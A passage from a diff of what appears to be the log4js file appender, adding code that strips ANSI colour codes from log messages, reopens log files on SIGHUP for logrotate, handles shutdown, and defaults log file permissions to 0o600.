const regex = /\x1b[[0-9;]*m/g;
|
93
|
+
loggingEvent.data = loggingEvent.data.map((d) => {
|
94
|
+
if (typeof d === 'string') return d.replace(regex, '');
|
95
|
+
return d;
|
96
|
+
});
|
97
|
+
}
|
98
|
+
if (!writer.write(layout(loggingEvent, timezoneOffset) + eol, 'utf8')) {
|
99
|
+
process.emit('log4js:pause', true);
|
100
|
+
}
|
101
|
+
};
|
102
|
+
|
103
|
+
app.reopen = function () {
|
104
|
+
writer.end(() => {
|
105
|
+
writer = openTheStream(file, logSize, numBackups, options);
|
106
|
+
});
|
107
|
+
};
|
108
|
+
|
109
|
+
app.sighupHandler = function () {
|
110
|
+
debug('SIGHUP handler called.');
|
111
|
+
app.reopen();
|
112
|
+
};
|
113
|
+
|
114
|
+
app.shutdown = function (complete) {
|
115
|
+
sighupListeners.delete(app);
|
116
|
+
if (sighupListeners.size === 0 && mainSighupListenerStarted) {
|
117
|
+
process.removeListener('SIGHUP', mainSighupHandler);
|
118
|
+
mainSighupListenerStarted = false;
|
119
|
+
}
|
120
|
+
writer.end('', 'utf-8', complete);
|
121
|
+
};
|
122
|
+
|
123
|
+
// On SIGHUP, close and reopen all files. This allows this appender to work with
|
124
|
+
// logrotate. Note that if you are using logrotate, you should not set
|
125
|
+
// `logSize`.
|
126
|
+
sighupListeners.add(app);
|
127
|
+
if (!mainSighupListenerStarted) {
|
128
|
+
process.on('SIGHUP', mainSighupHandler);
|
129
|
+
mainSighupListenerStarted = true;
|
130
|
+
}
|
131
|
+
|
132
|
+
return app;
|
133
|
+
}
|
134
|
+
|
135
|
+
function configure(config, layouts) {
|
136
|
+
let layout = layouts.basicLayout;
|
137
|
+
if (config.layout) {
|
138
|
+
layout = layouts.layout(config.layout.type, config.layout);
|
139
|
+
}
|
140
|
+
|
141
|
+
// security default (instead of relying on streamroller default)
|
142
|
+
config.mode = config.mode || 0o600;
|
143
|
+
|
144
|
+
return fileAppender(
|
145
|
+
config.filename,
|
146
|
+
layout,
|
147
|
+
config.maxLogSize,
|
148
|
+
config.backups,
|
149
|
+
config,
|
150
|
+
config.timezoneOffset
|
151
|
+
);
|
152
|
+
}
|
153
|
+
|
154
|
+
module.exports.configure = configure;
|